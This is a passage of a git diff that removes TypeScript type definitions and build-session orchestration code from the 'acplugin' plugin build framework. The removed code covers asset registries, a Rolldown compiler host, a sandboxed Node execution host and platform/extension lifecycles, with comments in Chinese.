可信结构化 ESM 作者模块的加载服务。 */ -export interface ModuleService { - /** 执行受管 ESM 图并返回其 default export。 */ - loadDefault(request: { readonly id: string; readonly entry: SourceFileRef }): Promise; -} - -/** Source Registry 签发的来源 Asset。 */ -export interface SourceAssetRef { - readonly kind: 'source-asset'; - readonly id: string; - readonly [sourceAssetTypeBrand]: true; -} - -/** Compiler Host 签发的生成 Asset。 */ -export interface GeneratedAssetRef { - readonly kind: 'generated-asset'; - readonly id: string; - readonly [generatedAssetTypeBrand]: true; -} - -/** Compiler Host 向 Asset Registry 提交的结构化生成来源。 */ -export interface CompileAssetOriginInput { - readonly job: string; - readonly output: string; - readonly profile: CompileProfile; - readonly kind: CompileOutputFile['type']; - readonly inputs: readonly string[]; -} - -/** Asset Service 从内存字节签发的 Asset。 */ -export interface BytesAssetRef { - readonly kind: 'bytes-asset'; - readonly id: string; - readonly [bytesAssetTypeBrand]: true; -} - -/** 所有受管 Asset 引用。 */ -export type AssetRef = SourceAssetRef | GeneratedAssetRef | BytesAssetRef; - -/** 受管 Asset 支持的文件权限。 */ -export type AssetMode = 0o644 | 0o755; - -/** Bytes Asset 的稳定生成来源。 */ -export interface GeneratedBytesOriginInput { - readonly operation: string; - readonly subjects?: readonly string[]; -} - -/** owner-scoped Asset 创建与受限读取服务。 */ -export interface AssetService { - /** 从已授权来源文件创建保留来源身份的 Asset。 */ - fromSource(source: SourceFileRef, options?: { readonly mode?: AssetMode }): Promise; - /** 从复制后的内存字节创建带结构化来源的 Asset。 */ - fromBytes(input: { readonly bytes: Uint8Array | string; readonly mode?: AssetMode; readonly origin: GeneratedBytesOriginInput }): Promise; - /** 在 owner grant 和读取上限内复制 Asset 字节。 */ - read(asset: AssetRef, options?: { readonly maxBytes?: number }): Promise; -} - -/** 规范 Component 的依赖引用。 */ -export interface ComponentRequires { - readonly skills: readonly string[]; - readonly agents: readonly string[]; -} - -/** Component 正文在安全工程相对路径中的位置。 */ -export interface ComponentLocation { - readonly path: string; - readonly bodyLine: number; -} - -/** 规范 Command。 */ -export interface CommandComponent { - readonly kind: 'command'; - readonly id: string; - readonly description: string; - readonly argumentHint?: string; - readonly body: string; - readonly location: ComponentLocation; - readonly requires: ComponentRequires; - readonly platforms: Readonly>>; -} - -/** 规范 Skill。 */ -export interface SkillComponent { - readonly kind: 'skill'; - readonly id: string; - readonly description: string; - readonly invocation: { readonly user: boolean; readonly model: boolean }; - readonly body: string; - readonly location: ComponentLocation; - readonly requires: ComponentRequires; - readonly platforms: Readonly>>; - readonly auxiliaryFiles: readonly { readonly path: string; readonly asset: SourceAssetRef }[]; -} - -/** Agent 需要的平台中立工具能力。 */ -export type AgentCapability = 'filesystem:read' | 'filesystem:write' | 'search' | 'shell' | 'network' | 'delegate'; - -/** Agent 的平台中立模型级别。 */ -export type AgentModel = 'inherit' | 'fast' | 'capable'; - -/** 规范 Agent。 */ -export interface AgentComponent { - readonly kind: 'agent'; - readonly id: string; - readonly description: string; - readonly model: AgentModel; - readonly capabilities: readonly AgentCapability[]; - readonly body: string; - readonly location: ComponentLocation; - readonly requires: ComponentRequires; - readonly platforms: Readonly>>; -} - -/** Public Provider 发现的资源。 */ -export interface PublicResourceFile { - readonly path: string; - readonly asset: SourceAssetRef; -} - -/** 内建 Runtime Provider 发现的规范入口集合。 */ -export interface NodeRuntimeResource { - readonly target: 'node20'; - readonly entries: readonly { readonly id: string; readonly kind: NodeRuntimeEntryKind; readonly source: SourceFileRef }[]; - readonly compile?: PortableNodeCompileOptions; -} - -/** Scanner 完成验证后的规范工程图。 */ -export interface CanonicalProject { - readonly metadata: PluginMetadata; - readonly commands: readonly CommandComponent[]; - readonly skills: readonly SkillComponent[]; - readonly agents: readonly AgentComponent[]; - readonly publicFiles: readonly PublicResourceFile[]; - readonly runtime?: NodeRuntimeResource; -} - -/** Platform 的 Component 专属字段验证上下文。 */ -export interface PlatformComponentValidationContext { - readonly project: CanonicalProject; - readonly component: CommandComponent | SkillComponent | AgentComponent; - readonly diagnostics: DiagnosticService; -} - -/** Compiler Job 的来源或虚拟入口。 */ -export type CompileEntry = { - readonly type: 'source'; - readonly source: SourceFileRef; - readonly mode?: AssetMode; -} | { - readonly type: 'virtual'; - readonly code: string; - readonly resolveFrom: SourceDirectoryRef; - readonly mode?: AssetMode; -}; - -/** Core 支持的两个编译 Profile。 */ -export type CompileProfile = 'portable-node' | 'managed-rolldown'; - -/** managed Profile 禁止接受但不执行的写入和 Watch Plugin Hook。 */ -export type ForbiddenManagedPluginHook = 'writeBundle' | 'watchChange' | 'closeWatcher'; - -/** managed Profile 可调用的 Rolldown Plugin。 */ -export type ManagedRolldownPlugin = Omit; - -/** Rolldown 风格的递归 Plugin option。 */ -export type ManagedRolldownPluginOption = ManagedRolldownPlugin - | { readonly name: string } - | false - | null - | undefined - | PromiseLike - | readonly ManagedRolldownPluginOption[]; - -/** Core 从 managed input options 中接管的字段。 */ -type CoreOwnedManagedInputOption = 'input' | 'cwd' | 'plugins' | 'logLevel' | 'onwarn' | 'watch' | 'devtools' | 'output' | 'tsconfig'; - -/** trusted integration 可使用的 Rolldown input 能力。 */ -export type ManagedRolldownInputOptions = Omit & { - readonly plugins?: ManagedRolldownPluginOption; - readonly tsconfig?: false | SourceFileRef; -}; - -/** trusted integration 可使用的 Rolldown output 能力。 */ -export type ManagedRolldownOutputOptions = Omit & { - readonly plugins?: ManagedRolldownPluginOption; -}; - -/** managed Profile 的输出与审计策略。 */ -export interface ManagedRolldownCompileOptions { - readonly inputOptions?: ManagedRolldownInputOptions; - readonly outputs: readonly { readonly id: string; readonly options: ManagedRolldownOutputOptions }[]; - readonly policy?: { - readonly deterministic?: boolean; - readonly licenses?: 'strict' | 'ignore'; - readonly nativeAddons?: 'reject' | 'allow'; - readonly unresolvedImports?: 'reject' | 'allow'; - }; -} - -/** 编译 Profile 与其参数的唯一映射。 */ -export interface CompileOptionsMap { - readonly 'portable-node': PortableNodeCompileOptions; - readonly 'managed-rolldown': ManagedRolldownCompileOptions; -} - -/** 指定 Profile 的编译参数。 */ -export type CompileOptions

= CompileOptionsMap[P]; - -/** 与当前所有者能力绑定的 Compiler Job。 */ -export interface CompileJob

{ - readonly id: string; - readonly profile: P; - readonly entries: Readonly>; - readonly sourceScopes?: readonly SourceDirectoryRef[]; - readonly virtualModules?: Readonly>; - readonly options?: CompileOptions

; -} - -/** Compiler 输出的受管文件。 */ -export interface CompileOutputFile { - readonly type: 'chunk' | 'asset' | 'licenses'; - readonly outputId: string; - readonly fileName: string; - readonly entryId?: string; - readonly isEntry: boolean; - readonly asset: GeneratedAssetRef; -} - -/** 脱敏后的 Compiler 模块图节点。 */ -export interface CompileModuleReport { - readonly id: string; - readonly kind: 'source' | 'virtual' | 'package'; - readonly inputs: readonly string[]; - readonly importedBy: readonly string[]; -} - -/** Compiler Host 的稳定结果。 */ -export interface CompileResult

{ - readonly job: string; - readonly profile: P; - readonly engine: { readonly name: 'rolldown'; readonly version: string }; - readonly outputs: readonly CompileOutputFile[]; - readonly modules: readonly CompileModuleReport[]; -} - -/** owner-scoped Compiler Host 能力。 */ -export interface CompilerService { - readonly engine: { readonly name: 'rolldown'; readonly version: string }; - /** 通过 Core 唯一 Compiler Host 执行 owner-scoped Job。 */ - compile

(job: CompileJob

): Promise>; -} - -/** Execution Host 的稳定进程结果。 */ -export interface ExecutionResult { - readonly status: 'exited' | 'signaled' | 'timed-out' | 'output-limit'; - readonly exitCode: number | null; - readonly signal: string | null; - readonly stdout: Uint8Array; - readonly stderr: Uint8Array; -} - -/** owner-scoped Node Execution Host 能力。 */ -export interface ExecutionService { - /** 在隔离 cwd、最小环境和固定资源上限内执行 Node entry。 */ - runNode(request: { - readonly entry: GeneratedAssetRef; - readonly args?: readonly string[]; - readonly stdin?: Uint8Array | string; - readonly timeoutMs: number; - readonly maxOutputBytes: number; - readonly environment?: Readonly>; - }): Promise; -} - -/** Extension discover 阶段的受限上下文。 */ -export interface ExtensionDiscoverContext { - readonly command: ConfigCommand; - readonly mode: BuildMode; - readonly roots: Readonly>; - readonly sources: SourceService; - readonly modules: ModuleService; - readonly diagnostics: DiagnosticService; -} - -/** Extension validate 阶段的规范工程上下文。 */ -export interface ExtensionValidateContext { - readonly command: ConfigCommand; - readonly mode: BuildMode; - readonly project: CanonicalProject; - readonly diagnostics: DiagnosticService; -} - -/** Extension build 阶段的受管能力上下文。 */ -export interface ExtensionBuildContext extends ExtensionValidateContext { - readonly compiler: CompilerService; - readonly assets: AssetService; - readonly execution: ExecutionService; -} - -/** 集成清理阶段看到的脱敏结果。 */ -export interface IntegrationCloseContext { - readonly outcome: 'success' | 'failed' | 'aborted'; - readonly committed: boolean; - readonly failure?: { readonly code: string; readonly phase: string; readonly message: string }; -} - -/** Platform 创建的主 Package 输入。 */ -export interface PlatformPackageInput { - readonly documents: readonly PackageDocumentInput[]; - readonly assets: readonly PackageAssetInput[]; - readonly compatibility: readonly CompatibilityInput[]; - readonly metadata: readonly MetadataDispositionInput[]; -} - -/** Package 中的 Asset 路径映射。 */ -export interface PackageAssetInput { - readonly path: string; - readonly asset: AssetRef; -} - -/** Platform 拥有的结构化 Package Document。 */ -export interface PackageDocumentInput { - readonly id: string; - readonly path: string; - readonly format: 'json' | 'yaml' | 'toml' | 'frontmatter'; - readonly value: Readonly; - readonly emission?: 'required' | 'omit-if-empty'; - readonly extensionPoints: readonly DocumentFieldPath[]; -} - -/** Package snapshot 中保留 issuer 的 Asset。 */ -export interface PackageAssetSnapshot { - readonly path: string; - readonly owner: string; - readonly asset: AssetRef; -} - -/** Package snapshot 中冻结的结构化 Document。 */ -export interface PackageDocumentSnapshot { - readonly id: string; - readonly path: string; - readonly format: PackageDocumentInput['format']; - readonly value: Readonly; - readonly emission: 'required' | 'omit-if-empty'; - readonly extensionPoints: readonly DocumentFieldPath[]; -} - -/** Contributor 只能读取的 Platform base snapshot。 */ -export interface PlatformBasePackageSnapshot { - readonly documents: readonly PackageDocumentSnapshot[]; - readonly assets: readonly PackageAssetSnapshot[]; - readonly compatibility: readonly CompatibilityInput[]; - readonly metadata: readonly MetadataDispositionInput[]; -} - -/** Core 集中合并后的 Package snapshot。 */ -export type MergedPackageSnapshot = PlatformBasePackageSnapshot; - -/** Platform 最终确定的主 Package 身份和新增 Asset。 */ -export interface PrimaryPackageInput { - readonly id: string; - readonly type: PlatformDeliveryType; - readonly assets?: readonly PackageAssetInput[]; -} - -/** Platform base Package 创建上下文。 */ -export interface CreatePackageContext { - readonly command: ConfigCommand; - readonly mode: BuildMode; - readonly project: CanonicalProject; - readonly compiler: CompilerService; - readonly assets: AssetService; - readonly diagnostics: DiagnosticService; -} - -/** Platform finalization 上下文。 */ -export interface FinalizePackageContext extends CreatePackageContext { - readonly package: MergedPackageSnapshot; -} - -/** 已验证候选中的 Package Unit snapshot。 */ -export interface PackageUnitSnapshot { - readonly platform: string; - readonly id: string; - readonly type: PlatformDeliveryType | 'marketplace'; - readonly role: 'primary' | 'distribution'; - readonly assets: readonly PackageAssetSnapshot[]; - readonly compatibility: readonly CompatibilityInput[]; - readonly metadata: readonly MetadataDispositionInput[]; -} - -/** 临时物化且只在校验调用期间授权的候选。 */ -export interface PackageCandidate { - readonly root: string; - readonly unit: PackageUnitSnapshot; -} - -/** Platform candidate 校验上下文。 */ -export interface ValidatePackageContext { - readonly command: ConfigCommand; - readonly mode: BuildMode; - readonly candidate: PackageCandidate; - readonly diagnostics: DiagnosticService; -} - -/** Distribution 中的一条继承或新增 Asset。 */ -export interface DistributionAssetInput { - readonly path: string; - readonly asset: AssetRef; -} - -/** Marketplace Distribution 输入。 */ -export interface DistributionPackageInput { - readonly id: string; - readonly type: 'marketplace'; - readonly assets: readonly DistributionAssetInput[]; -} - -/** Platform 创建 Distribution 的上下文。 */ -export interface DistributionContext { - readonly command: ConfigCommand; - readonly mode: BuildMode; - readonly project: CanonicalProject; - readonly primary: PackageUnitSnapshot; - readonly assets: AssetService; - readonly diagnostics: DiagnosticService; -} - -/** Platform BuildSession 私有生命周期。 */ -export interface PlatformSession { - /** 校验一个 canonical Component 的平台专属字段。 */ - validateComponent?(context: PlatformComponentValidationContext): Awaitable; - /** 从 canonical project 创建 Platform base Package。 */ - createPackage(context: CreatePackageContext): Awaitable; - /** 从集中合并的 snapshot 确定主 Package。 */ - finalizePackage(context: FinalizePackageContext): Awaitable; - /** 校验 Core 临时物化的完整 Package candidate。 */ - validatePackage(context: ValidatePackageContext): Awaitable; - /** 从已验证主 Package 创建可选 Distribution。 */ - createDistributions?(context: DistributionContext): Awaitable; - /** 在成功、失败或中止后释放当前 Session 状态。 */ - close?(context: IntegrationCloseContext): Awaitable; -} - -/** Extension 对一个 Platform 的无序 add-only Contributor。 */ -export interface PlatformContributor { - readonly platform: string; - readonly platformApiVersion: typeof LIFECYCLE_API_VERSION; - /** 对只读 base Package 返回无序 add-only Contribution。 */ - contribute(context: ContributionContext, built: Readonly): Awaitable; -} - -/** Extension 对一个 Document extension point 的字段贡献。 */ -export interface DocumentFieldContribution { - readonly document: string; - readonly path: DocumentFieldPath; - readonly value: JsonValue; -} - -/** Extension Contributor 的集中合并输入。 */ -export interface PackageContribution { - readonly documentFields?: readonly DocumentFieldContribution[]; - readonly assets?: readonly PackageAssetInput[]; - readonly compatibility: readonly CompatibilityInput[]; -} - -/** Contributor 只能观察 Platform base snapshot 的上下文。 */ -export interface ContributionContext { - readonly command: ConfigCommand; - readonly mode: BuildMode; - readonly platform: PlatformIntegrationDescription; - readonly project: CanonicalProject; - readonly base: PlatformBasePackageSnapshot; - readonly assets: AssetService; - readonly diagnostics: DiagnosticService; -} - -/** Extension BuildSession 私有生命周期。 */ -export interface ExtensionSession { - /** 从 Extension 独占来源根发现作者资源。 */ - discover(context: ExtensionDiscoverContext): Awaitable; - /** 对发现状态和 canonical project 执行验证。 */ - validate(context: ExtensionValidateContext, discovered: Readonly): Awaitable>; - /** 通过 Core Host 把验证状态构建为跨 Platform Built State。 */ - build(context: ExtensionBuildContext, validated: Readonly): Awaitable>; - readonly contributors: readonly PlatformContributor[]; - /** 在成功、失败或中止后释放当前 Session 状态。 */ - close?(context: IntegrationCloseContext): Awaitable; -} - -/** Platform 或 Contributor 返回的兼容性结论。 */ -export interface CompatibilityInput { - readonly subject: string; - readonly capability: string; - readonly level: CompatibilityLevel; - readonly transformation?: string; - readonly reason: string; - readonly causes?: readonly string[]; -} - -/** 兼容性支持级别。 */ -export type CompatibilityLevel = 'native' | 'transform' | 'degraded' | 'unsupported'; - -/** 元数据在目标 Package 中的最终去向。 */ -export type MetadataDisposition = 'emitted' | 'omitted'; - -/** Platform 返回的单个元数据处理结论。 */ -export interface MetadataDispositionInput { - readonly field: string; - readonly disposition: MetadataDisposition; - readonly output?: string; - readonly reason: string; -} - -/** 附加 Platform 身份的兼容性报告项。 */ -export interface CompatibilityEntry extends CompatibilityInput { - readonly platform: string; -} - -/** 附加 Platform 身份的元数据报告项。 */ -export interface MetadataDispositionEntry extends MetadataDispositionInput { - readonly platform: string; -} - -/** 稳定报告中的 Asset 来源。 */ -export type AssetOrigin = { - readonly type: 'source'; - readonly resource: string; - readonly path: string; -} | { - readonly type: 'compile'; - readonly owner: string; - readonly job: string; - readonly output: string; - readonly profile: CompileProfile; - readonly kind: CompileOutputFile['type']; - readonly inputs: readonly string[]; -} | { - readonly type: 'generated'; - readonly owner: string; - readonly operation: string; - readonly subjects?: readonly string[]; -}; - -/** BuildReport 中的 Asset 摘要。 */ -export interface PackageAssetReport { - readonly path: string; - readonly owner: string; - readonly mode: AssetMode; - readonly size: number; - readonly sha256: string; - readonly origin: AssetOrigin; -} - -/** BuildReport 中的 Package Unit 摘要。 */ -export interface PackageUnitReport { - readonly platform: string; - readonly id: string; - readonly type: PlatformDeliveryType | 'marketplace'; - readonly role: 'primary' | 'distribution'; - readonly validated: boolean; - readonly assets: readonly PackageAssetReport[]; -} - -/** BuildReport 中的 Component 摘要。 */ -export interface ComponentReport { - readonly kind: 'command' | 'skill' | 'agent'; - readonly id: string; - readonly location: SourceLocation; -} - -/** BuildReport 中的 Runtime 摘要。 */ -export interface RuntimeReport { - readonly id: string; - readonly kind: NodeRuntimeEntryKind; - readonly location: SourceLocation; - readonly built: boolean; -} - -/** BuildReport 中的 Extension 摘要。 */ -export interface ExtensionReport { - readonly id: string; - readonly discovered: boolean; - readonly subjects: readonly ExtensionSubject[]; -} - -/** BuildReport 中的 Platform 摘要。 */ -export interface PlatformReport { - readonly id: string; - readonly selected: boolean; - readonly success: boolean; - readonly packageIds: readonly string[]; -} - -/** 稳定诊断阶段。 */ -export type DiagnosticPhase = 'config' | 'setup' | 'discover' | 'validate' | 'compile' | 'package' | 'contribute' | 'finalize' | 'materialize' | 'platform-validate' | 'compatibility' | 'transaction' | 'cleanup' | 'dev' | 'internal'; - -/** BuildReport 中已绑定来源的诊断。 */ -export interface Diagnostic extends DiagnosticInput { - readonly phase: DiagnosticPhase; - readonly platform?: string; - readonly extension?: string; - readonly owner?: string; - readonly component?: { readonly kind: 'command' | 'skill' | 'agent'; readonly id: string }; - readonly related?: readonly SourceLocation[]; -} - -/** Kernel v2 唯一公开构建报告。 */ -export interface BuildReport { - readonly schemaVersion: 2; - readonly framework: { readonly name: 'acplugin'; readonly version: string }; - readonly compiler: { readonly name: 'rolldown'; readonly version: string }; - readonly success: boolean; - readonly command: ConfigCommand; - readonly mode: BuildMode; - readonly committed: boolean; - readonly components: readonly ComponentReport[]; - readonly runtimes: readonly RuntimeReport[]; - readonly extensions: readonly ExtensionReport[]; - readonly platforms: readonly PlatformReport[]; - readonly packages: readonly PackageUnitReport[]; - readonly compatibility: readonly CompatibilityEntry[]; - readonly metadata: readonly MetadataDispositionEntry[]; - readonly diagnostics: readonly Diagnostic[]; -} - -/** Project 创建时固定的工程身份选项。 */ -export interface CreateProjectOptions { - readonly cwd?: string; - readonly configFile?: string; -} - -/** 单次 Project 执行选项。 */ -export interface ProjectRunOptions { - readonly command?: 'validate' | 'inspect' | 'build'; - readonly mode?: BuildMode; - readonly platforms?: readonly string[]; - readonly commit?: boolean; -} - -/** 持续构建 Session 选项。 */ -export interface ProjectDevOptions { - readonly mode?: BuildMode; - readonly platforms?: readonly string[]; - readonly commit?: boolean; -} - -/** runProject convenience 的组合选项。 */ -export interface RunProjectOptions extends CreateProjectOptions, ProjectRunOptions {} - -/** DevSession 发布的稳定事件。 */ -export type DevSessionEvent = { - readonly type: 'build-start'; - readonly sequence: number; - readonly changes: readonly string[]; -} | { - readonly type: 'build-complete'; - readonly sequence: number; - readonly changes: readonly string[]; - readonly report: BuildReport; -} | { - readonly type: 'closed'; - readonly sequence: number; - readonly report: BuildReport; -}; - -/** Core 独占 Watch ownership 的持续构建句柄。 */ -export interface DevSession { - /** 最近一次成功报告;首次构建失败时由该初始失败报告暂时播种。 */ - readonly current: BuildReport; - /** 订阅稳定 DevSession 事件并返回取消函数。 */ - subscribe(listener: (event: DevSessionEvent) => void): () => void; - /** 幂等关闭 Watch 与当前 BuildSession;cleanup 失败也会先完成 closed 终态。 */ - close(): Promise; - /** 无论 cleanup 是否失败都在唯一 closed 事件发布后解析。 */ - readonly closed: Promise; -} - -/** 绑定同一工程配置身份的程序化 Project。 */ -export interface Project { - /** 使用固定工程身份执行一次 BuildSession。 */ - run(options?: ProjectRunOptions): Promise; - /** 使用相同 Kernel 创建持续构建 Session。 */ - dev(options?: ProjectDevOptions): Promise; -} diff --git a/packages/core/src/kernel/build-session.ts b/packages/core/src/kernel/build-session.ts deleted file mode 100644 index 1caea88..0000000 --- a/packages/core/src/kernel/build-session.ts +++ /dev/null @@ -1,1077 +0,0 @@ -import { promises as fs } from 'node:fs'; -import os from 'node:os'; -import path from 'node:path'; -import type { - AcpluginExtension, - BuildMode, - BuildReport, - CanonicalProject, - ConfigCommand, - ExtensionIntegrationDescription, - ExtensionReport, - ExtensionSession, - IntegrationCloseContext, - IntegrationDescription, - PackageUnitSnapshot, - PlatformIntegrationDescription, - PlatformReport, - PlatformSession, - ProjectRunOptions, - ResolvedConfigSummary, -} from '../kernel-types.js'; -import { CompilerHost } from '../compiler/compiler-host.js'; -import { commitPackageUnits } from '../transaction.js'; -import { collectDistributionPackages } from '../package/distribution-registry.js'; -import { CompatibilityRegistry } from '../package/compatibility-registry.js'; -import { withPackageCandidate, materializePackageUnits, validatePackageUnits } from '../package/candidate-materializer.js'; -import { - createBasePackage, - finalizePrimaryPackage, - mergePackageContributions, - type OwnedPackageContribution, -} from '../package/package-registry.js'; -import { createBuildReport } from '../package/report-builder.js'; -import { discoverCanonicalProject } from '../resources/canonical-provider.js'; -import { - buildExtension, - collectExtensionContributions, - discoverExtension, - preflightExtensionConsumers, - validateExtension, - type BuiltExtensionState, - type ExtensionConsumerPlan, -} from '../resources/extension-provider.js'; -import { assembleProjectGraph } from '../resources/project-graph.js'; -import { discoverPublicResources } from '../resources/public-provider.js'; -import { ResourceRegistry } from '../resources/resource-registry.js'; -import { - buildNodeRuntime, - discoverNodeRuntime, - nodeRuntimeContribution, - platformSupportsNodeRuntime, - type BuiltNodeRuntime, -} from '../resources/runtime-provider.js'; -import { AssetRegistry } from './asset-registry.js'; -import { BuildSessionScope } from './build-session-scope.js'; -import type { ResolvedKernelConfig, ResolvedPlatform } from './config-resolver.js'; -import { dataObjectFields } from './data-boundary.js'; -import { DiagnosticRegistry } from './diagnostic-registry.js'; -import { ExecutionHost } from './execution-host.js'; -import { ModuleHost } from './module-host.js'; -import { compareCodePoints } from './path-policy.js'; -import { sanitizeStableText } from './report-safety.js'; -import { SourceRegistry } from './source-registry.js'; -import { WatchRegistry, type WatchSnapshot } from './watch-registry.js'; -import { WorkDirectoryRegistry } from './work-directories.js'; - -/** Kernel one-shot 执行所需的内部输入。 */ -export interface KernelBuildSessionInput { - readonly config: ResolvedKernelConfig; - readonly frameworkVersion: string; - readonly selection?: readonly string[]; - readonly commit: boolean; - /** 配置加载阶段已经创建的 Session 服务;省略时由本函数完整拥有。 */ - readonly environment?: KernelBuildEnvironment; -} - -/** Project config loader 与 BuildSession 共享的唯一 Host/Registry 环境。 */ -export interface KernelBuildEnvironment { - readonly scope: BuildSessionScope; - readonly workRoot: string; - readonly sources: SourceRegistry; - readonly workDirectories: WorkDirectoryRegistry; - readonly watch: WatchRegistry; - readonly assets: AssetRegistry; - readonly modules: ModuleHost; - readonly compiler: CompilerHost; - readonly execution: ExecutionHost; - readonly diagnostics: DiagnosticRegistry; -} - -/** 内部执行结果为 DevSession 保留安全 Watch snapshot。 */ -export interface KernelBuildSessionResult { - readonly report: BuildReport; - readonly watch: WatchSnapshot; -} - -/** 已完成 setup 且必须逆序关闭的 Integration。 */ -type InitializedIntegration = { - readonly kind: 'platform'; - readonly id: string; - readonly session: PlatformSession; -} | { - readonly kind: 'extension'; - readonly id: string; - readonly session: ExtensionSession; -}; - -/** 选中 Platform 与其 setup Session。 */ -interface PlatformRuntime { - readonly resolved: ResolvedPlatform; - readonly description: PlatformIntegrationDescription; - readonly session: PlatformSession; -} - -/** Extension definition 与其 setup Session。 */ -interface ExtensionRuntime { - readonly definition: AcpluginExtension; - readonly description: ExtensionIntegrationDescription; - readonly session: ExtensionSession; -} - -/** 每个 validated consumer plan 的显式 build 终态。 */ -type ExtensionPlanBuildStatus = Readonly<{ - readonly plan: ExtensionConsumerPlan; - readonly status: 'skipped' | 'failed'; -}> | Readonly<{ - readonly plan: ExtensionConsumerPlan; - readonly status: 'built'; - readonly built: BuiltExtensionState; -}>; - -/** @returns 当前 Platform 是否依赖一个已失败 Extension 的 Built State。 */ -function platformConsumesFailedExtension( - platform: string, - builds: readonly ExtensionPlanBuildStatus[], -): boolean { - return builds.some(build => build.status === 'failed' - && build.plan.consumers.some(consumer => consumer.platform.id === platform && consumer.contributor !== undefined)); -} - -/** 生命周期内部可稳定传递的首个失败摘要。 */ -interface FailureSummary { - readonly code: string; - readonly phase: string; - readonly message: string; -} - -/** 生命周期失败优先级用于 cleanup 摘要,不依赖并发完成或诊断字典序。 */ -const FAILURE_PHASE_ORDER = Object.freeze([ - 'config', 'setup', 'discover', 'validate', 'compile', 'package', 'contribute', 'finalize', - 'materialize', 'platform-validate', 'compatibility', 'transaction', 'cleanup', 'dev', 'internal', -] as const); - -/** @returns 当前稳定诊断集合是否包含匹配的 error。 */ -function hasMatchingError( - diagnostics: DiagnosticRegistry, - predicate: (diagnostic: BuildReport['diagnostics'][number]) => boolean, -): boolean { - return diagnostics.diagnostics.some(diagnostic => diagnostic.severity === 'error' && predicate(diagnostic)); -} - -/** @returns 当前 Platform 是否已经在自己的 validate/package 阶段失败。 */ -function platformHasErrors(diagnostics: DiagnosticRegistry, platform: string): boolean { - return hasMatchingError(diagnostics, diagnostic => diagnostic.platform === platform); -} - -/** @returns 不属于单一 Integration 的工程级失败是否阻止全部 Package 消费。 */ -function projectHasErrors(diagnostics: DiagnosticRegistry): boolean { - return hasMatchingError(diagnostics, diagnostic => diagnostic.platform === undefined && diagnostic.extension === undefined); -} - -/** 创建一次 BuildSession 唯一的 Host/Registry 图。 */ -export async function createKernelBuildEnvironment(projectRoot: string): Promise { - /** 所有 Integration 中间文件共享一个由 Core 独占的临时父目录。 */ - const workRoot = await fs.mkdtemp(path.join(os.tmpdir(), '.acplugin-work-')); - /** capability scope 在最终报告建立后统一撤销。 */ - const scope = new BuildSessionScope(); - /** Source/Watch/Work registries 是全部 Host 的共同授权基础。 */ - const sources = new SourceRegistry(scope, projectRoot); - /** 每个 owner 只会获得自己的不可伪造 workDir handle。 */ - const workDirectories = new WorkDirectoryRegistry(scope, workRoot); - /** Watch Registry 集中接收 Resource、Module 和 Compiler observations。 */ - const watch = new WatchRegistry(scope, projectRoot); - /** Asset Registry 绑定当前 Source 与 workDir identities。 */ - const assets = new AssetRegistry(scope, sources, workDirectories); - /** 三个 Host 只读取上述同一组 Registry。 */ - const modules = new ModuleHost({ projectRoot, sources, workDirectories, watch }); - /** Compiler Host 是当前 BuildSession 唯一 Rolldown compile owner。 */ - const compiler = new CompilerHost({ projectRoot, sources, workDirectories, assets, watch }); - /** Execution Host 只运行本 Session 的 portable generated refs。 */ - const execution = new ExecutionHost({ assets, workDirectories }); - return Object.freeze({ - scope, - workRoot, - sources, - workDirectories, - watch, - assets, - modules, - compiler, - execution, - diagnostics: new DiagnosticRegistry(), - }); -} - -/** 撤销全部 capability 并删除当前 Session 中间文件。 */ -export async function disposeKernelBuildEnvironment(environment: KernelBuildEnvironment): Promise { - environment.scope.close(); - await fs.rm(environment.workRoot, { recursive: true, force: true }); -} - -/** @returns Platform 的不可变公开身份。 */ -function platformDescription(platform: ResolvedPlatform): PlatformIntegrationDescription { - return Object.freeze({ - kind: 'platform', - id: platform.definition.id, - apiVersion: platform.definition.apiVersion, - ...(platform.definition.options === undefined ? {} : { options: platform.definition.options }), - ...(platform.definition.capabilities === undefined ? {} : { capabilities: platform.definition.capabilities }), - }); -} - -/** @returns Extension 的不可变公开身份。 */ -function extensionDescription(extension: AcpluginExtension): ExtensionIntegrationDescription { - return Object.freeze({ - kind: 'extension', - id: extension.id, - apiVersion: extension.apiVersion, - ...(extension.options === undefined ? {} : { options: extension.options }), - resourceRoots: extension.resourceRoots, - }); -} - -/** 解析显式 Platform subset 并保持原配置顺序。 */ -function selectPlatforms(config: ResolvedKernelConfig, selection: readonly string[] | undefined): readonly ResolvedPlatform[] { - if (selection === undefined) - return config.platforms; - if (!Array.isArray(selection) || selection.length === 0) - throw new TypeError('Platform selection must contain at least one configured Platform.'); - /** 选择输入在任何 Session factory 运行前拒绝重复与未知 ID。 */ - const requested = [...selection]; - if (requested.some(id => typeof id !== 'string') || new Set(requested).size !== requested.length) - throw new TypeError('Platform selection must contain unique Platform ids.'); - /** configured 用于在 setup 前拒绝未知 Platform。 */ - const configured = new Set(config.platforms.map(platform => platform.definition.id)); - /** unknown 按稳定键排序后只进入内部异常,不泄露配置对象。 */ - const unknown = requested.filter(id => !configured.has(id)); - if (unknown.length > 0) - throw new TypeError(`Platform selection contains an unconfigured id: ${unknown.sort(compareCodePoints)[0]}.`); - /** 返回顺序始终使用配置顺序而非 CLI 参数顺序。 */ - const selected = new Set(requested); - return Object.freeze(config.platforms.filter(platform => selected.has(platform.definition.id))); -} - -/** 验证 Platform Session 精确方法面。 */ -function platformSession(value: unknown, id: string): PlatformSession { - /** fields 拒绝旧生命周期方法与未知行为面。 */ - const fields = dataObjectFields(value, new Set([ - 'validateComponent', 'createPackage', 'finalizePackage', 'validatePackage', 'createDistributions', 'close', - ]), `Platform "${id}" Session`); - for (const required of ['createPackage', 'finalizePackage', 'validatePackage']) { - if (typeof fields[required]?.value !== 'function') - throw new TypeError(`Platform "${id}" Session must provide ${required}().`); - } - for (const optional of ['validateComponent', 'createDistributions', 'close']) { - if (fields[optional] !== undefined && typeof fields[optional].value !== 'function') - throw new TypeError(`Platform "${id}" Session ${optional} must be a function.`); - } - return value as PlatformSession; -} - -/** 验证 Extension Session 精确方法面。 */ -function extensionSession(value: unknown, id: string): ExtensionSession { - /** fields 固定 Extension v2 Session 的完整方法面。 */ - const fields = dataObjectFields(value, new Set(['discover', 'validate', 'build', 'contributors', 'close']), `Extension "${id}" Session`); - for (const required of ['discover', 'validate', 'build']) { - if (typeof fields[required]?.value !== 'function') - throw new TypeError(`Extension "${id}" Session must provide ${required}().`); - } - if (!Array.isArray(fields.contributors?.value)) - throw new TypeError(`Extension "${id}" Session must provide contributors.`); - if (fields.close !== undefined && typeof fields.close.value !== 'function') - throw new TypeError(`Extension "${id}" Session close must be a function.`); - return value as ExtensionSession; -} - -/** @returns 报告与 close 共用的首个错误摘要。 */ -function firstFailure(diagnostics: 